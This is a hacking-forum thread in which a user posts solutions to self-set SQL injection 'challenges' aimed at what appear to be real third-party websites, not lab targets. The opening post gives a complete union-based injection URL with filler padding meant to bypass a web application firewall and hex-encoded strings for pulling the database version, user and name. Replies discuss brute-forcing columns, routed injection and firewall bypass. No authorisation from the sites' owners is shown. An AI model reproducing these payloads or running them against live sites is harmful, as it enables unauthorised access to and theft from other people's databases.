Solution to some of my challenge Number 4 And 5 And 6

Solution to some of my challenge Number 4 And 5 And 6 - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+----- Forum: SQL Injection Attacks (https://hackforums.net/forumdisplay.php?fid=103)
+----- Thread: Solution to some of my challenge Number 4 And 5 And 6 (/showthread.php?tid=5738367)

Solution to some of my challenge Number 4 And 5 And 6 - pishicat_Injector - Oct 16, 2017

Hi Everybody How Are You I Miss You So Much 😊

Solution to some of my challenge N4,N5,N6 👍

1- Challenge Number 4

(Sep 25, 2017 01:04 PM)pishicat_Injector Wrote: [b]Challenge N4 :: Medium

Hi This Is My Number Four Challenge With You

# Target #

PHP Code
<?php https://pizzacrust.com.pk/deals.php?id=38

### Task & Rules ###

1 Union Based && GET Method
2- Don't use in your query >>

A- BOF 256 + BOF 512 + BOF 1024 + BOF 2048
B- Use Concat To Get All Information In Rule Number 3

3 Your Name, Version, User, Database
4 Don't Make Any Tutorials
5 Don't Share Your Solution To Each Other
6 Don't Harm Site
7 Send Your Query
8 complete injection should be in the same column

# Proof #

# Solvers #

I use BOF 243 It's less valuable to be used at all

PHP Code 


<?php 
pizzacrust.com.pk/deals.php?id=.38" UnION%23aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%0aDistinctRow select 1,2,Concat%23aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%0a(0x2e2e4e616d65203a3a2050697368696361745f496e6a6563746f72,0x3c62723e,0x2e2e56657273696f6e203a3a20,@@`version`,0x3c62723e,0x2e2e55736572203a3a20,current_user(),0x3c62723e,0x2e2e4461746162617365203a3a20,database(),0x3c62723e,0x3c62723e),4,5,6,7-- - 

Notic : there are many method here you can use without using BOF ever like

2- Challenge Number 5

(Sep 28, 2017 11:02 AM)pishicat_Injector Wrote: Challenge N5 :: Easy

Hi this is my number Five challenge with you

# Target # Site Credit m4ma

PHP Code
<?php www.alphaonenow.org/story.php?news_id=5597

### Task & Rules ###

1 Union Based && GET Method
1 Your Name, Version, User, Database, Dios
2 Don't Make Any Tutorials
3 Don't Share Your Solution To Each Other
4 Don't Harm Site
5 Send Your Query
6 complete injection should be in the same column
7 Don't Change Parameter/Inject point

# Proof #

# Solvers #

the column number is 4

3- Challenge Number 6

the solution

Regards

* - linhtinh - Oct 16, 2017

In Challenge number 5 ,why u can delete one column?Can u give me logic ?Thanks for share bro

* - •^v^–[ bLacKn3x ]–^v^• - Oct 16, 2017

this columns used in another query where you can inject.
also it's possible to injec7 with 4 columns ;)

regards

* - pishicat_Injector - Oct 16, 2017

(Oct 16, 2017 07:53 PM)linhtinh Wrote: In Challenge number 5 ,why u can delete one column?Can u give me logic ?Thanks for share bro

when you can't able to get Vuln column in page , there a million way to do that ,here I use way call ' Brute Forcing Columns ' I see it here in HF from a two month I think this method to bLacKn3x I don't remember, any way

[Image: U5qHfk2.png]

so here in my solution I say delet one of column number

Regards

* - •^v^–[ bLacKn3x ]–^v^• - Oct 16, 2017

you did it with bof ?

lol i thought BOF is not allowed...

however you get a solution by me without bof to bypass waf

* - pishicat_Injector - Oct 16, 2017

(Oct 16, 2017 10:20 PM)•^v^–[ bLacKn3x ]–^v^• Wrote: you did it with bof ?

lol i thought BOF is not allowed...

however you get a solution by me without bof to bypass waf

yes you do my friend, here BOF is allowed under 256 🤫

* - Berry White - Oct 17, 2017

(Oct 16, 2017 10:11 PM)•^v^–[ bLacKn3x ]–^v^• Wrote: this columns used in another query where you can inject.
also it's possible to injec7 with 4 columns ;)

regards

I guess routed injection in column number 2 ? am i right brother?

RE: * - pishicat_Injector - Nov 2, 2017

(Oct 17, 2017 04:11 PM)Berry White Wrote: I guess routed injection in column number 2 ? am i right brother?

RE: Solution to some of my challenge Number 4 And 5 And 6 - scorpoin - Nov 20, 2017

I do not understand this point(53,12) , what it is?

Regards
Scorpoin

RE: Solution to some of my challenge Number 4 And 5 And 6 - mohammad rahel - Jun 5, 2018

yes i am able to injection

RE: Solution to some of my challenge Number 4 And 5 And 6 - pishicat_Injector - Jun 7, 2018

(Nov 20, 2017 03:01 AM)scorpoin Wrote: I do not understand this point(53,12) , what it is?

Regards
Scorpoin

read here

https://www.safaribooksonline.com/library/view/mysql-reference-manual/0596002653/ch06s03.html

RE: Solution to some of my challenge Number 4 And 5 And 6 - ApertureSecurity - Sep 14, 2018

There is some kind of malware or miner on the site...